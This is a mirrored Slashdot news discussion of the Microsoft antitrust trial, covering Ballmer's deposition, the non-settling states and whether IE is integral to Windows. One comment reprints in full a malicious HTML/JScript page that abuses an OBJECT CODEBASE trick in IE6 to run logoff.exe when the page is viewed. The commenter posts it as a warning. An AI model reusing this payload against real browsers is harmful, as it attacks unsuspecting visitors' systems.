Slashdot Mirror

← Back to Stories (view on slashdot.org)

Microsoft Trial Wends Onward

Posted by timothy on from the when-does-the-tribulation-start dept.

Sinistar2k writes: "Showing remarkable restraint and an unwillingness to shout 'Give it up for me!', Steve Ballmer comes across as a poor, beat down soul in the video deposition (Windows Media or RealPlayer required) released today by US District Judge Colleen Kollar-Kotelly. Also available are text depositions of Ballmer and Allchin." gouldtj adds: "Here is a timeline on the Microsoft trial. It is pretty complete, and it goes back to 1990. It is nice to see all of this in one place, I'd almost forgotten about the old stuff. It just reminds you how long this stuff can take." Finally, ackthpt writes: "The nine non-settling states have modified their requirements, rather than Microsoft having to sell various versions of Windows, they would have Microsoft Windows sold as a modular platform, where the user could opt for different vendors software for different uses. Just days ago the nine settling states were rattled by Microsoft's end-around, challenging state attorneys' general participation in anti-trust procedings." And if your own computing (or career) depends on a Microsoft operating system, Roblimo suggests that you stop using it, because Steve Ballmer says Microsoft may take it away.

8 of 446 comments (clear)

  1. And the Register adds this MS Tidbit... by Uebergeek · · Score: 2, Informative

    Acoording to the Register... Basically, MS is claiming that removing IE will destroy Win2k, WinME, and the ability for them to develop future operating systems.

    1. Re:And the Register adds this MS Tidbit... by Anonymous Coward · · Score: 4, Informative

      The only thing that keeps you from removing IE is the WFP, Windows File Protection.

      1. Disable WFP (registry hack)
      2. Delete IE files
      3. Wohoo!

      You can also create your own Win2k install media where the file lists & install scripts do not even originally have IE along. WFP will not worry about IE being absent :)

      What's the catch? SOME programs require IE to run. Not because they really really NEED IE, but because the developers have re-used some components that come with IE. For instance Media Player requires some .dlls but you can just simply insert them into your SYSTEM32 directory and voila.

      Some programs though check for IE and if absent, just prompt you to install it back. You will have to stop using those programs, but there are always options.

      Note that Microsoft can claim that WIN2k requires IE to function properly since some included tools and applications such as the Media Player require its presence. Most likely it will go through in the court as well.

    2. Re:And the Register adds this MS Tidbit... by TALlama · · Score: 2, Informative

      Here's a fun fact:

      iexplore.exe (aka IE, Internet Explorer) and explorer.exe (aka Windows Explorer, the file browser) are identical binaries with different names.

      If you can still browse your C: drive with explorer, IE is still on your system.

      Now, this makes one of two things true:
      1) IE really IS an integral part of the OS
      2) Microsoft intentionally commingled the code for IE with that of WE

      Since IE came about after WE, we have to assume that case #2 is true, despite Microsoft's continued assertations that they did no such thing.

      Wait a minute... Microsoft lying in court? Why would they do such a thing? And how could they get away with it?

      --

      - The Amazina Llama

  2. What are the Nine States? by jchawk · · Score: 5, Informative

    In case you were wondering the nine states that are not settled yet are:

    1. California
    2. Connecticut
    3. Florida
    4. Iowa
    5. Kansas
    6. Massachusetts
    7. Minnesota
    8. Utah
    9. West Virginia

    Also the District of Columbia.

    I wish they would state this in each article. :-)

  3. Monkey Boy by MikeyLikesIt! · · Score: 2, Informative
    Showing remarkable restraint and an unwillingness to shout 'Give it up for me!'...

    Just in case some of you don't get the reference, check out this video of Steve Ballmer at a MicroSoft pep rally.

    It really speaks for itself :-)

    --

    I dunno... What do you wanna do?

  4. Re:HEY, XP USERS!!!!!@ by Anonymous Coward · · Score: 1, Informative

    For those who are scared to "view" the "jpeg", this is what it is. Apparently this must be an XP exploit.

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD>
    <TITLE>IE6 security...</TITLE>

    <META http-equiv=Content-Type content="text/html; charset=windows-1252">
    <SCRIPT language=JScript>

    var programName=new Array(
    'c:/windows/system32/logoff.exe',
    'c:/winxp/system32/logoff.exe',
    'c:/winnt/system32/logoff.exe'
    );

    function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html='';
    for(n=0;n<programName.length;n++)
    html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-11111111111 1' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
    oPopBody.innerHTML=html;
    oPopup.show(290, 390, 200, 200, document.body);
    }

    </SCRIPT>
    </head>
    <BODY onload="Init()">
    You should feel lucky if you dont have XP right now.
    </BODY>
    </HTML>

  5. Re:Ballmer may have flubbed up. by dackroyd · · Score: 2, Informative

    Ballmers performance was particularly bad in the other parts of the video that Microsoft didn't include.

    Other snippets from the video are on ZDNet and show Ballmer being worryingly inept as the CEO of multi-billion dollar company.

    He totally fails to remember the products that allow OEMs to build modular versions of the Windows platform including Embedded Windows XP and Windows CE .NET.

    This is just another example of why Judge Jackson got so pissed off with the Microsoft executives as they are blatantly lying to the court, and judges hate it when people lie to their face when they think they can get away with it.

    (sorry couldn't find a link that doesn't have the annonying ad first)

    --
    "Free software as in beer, copy protection as in racket" - Telsa Gwynne
  6. Re:I can't replace a part of the Linux kernel eith by Spoing · · Score: 3, Informative
    In Windows, devices are controlled by things called "drivers", which are not part of the kernel. Windows NT (for example) has a driver subsystem that is part of (or linked to, I forget) the kernel.

    So what you're describing is much easier to do with Windows.

    While I agree mostly with what you've said -- both Windows and Linux have kernel based modular device support -- the ease of use part is not correct.

    Under Linux, most distributions are pre-configured with the kernel consisting of modules. If you want to remove any module, you can without rebooting safely as long as it is not being used. Hotplug support and manual enabling/disabling of parts of the kernel using insmod/rmmod or runlevels make module management simple if not automatic.

    Drivers under NT serve the same basic function as modules under Linux. NT Drivers are usually loaded at boot time and can not be unloaded. The exception are hot plug devices...just like they are under Linux.

    --
    A firewall can not protect you from yourself. Turn off what you do not need. Do not use the firewall to do your work.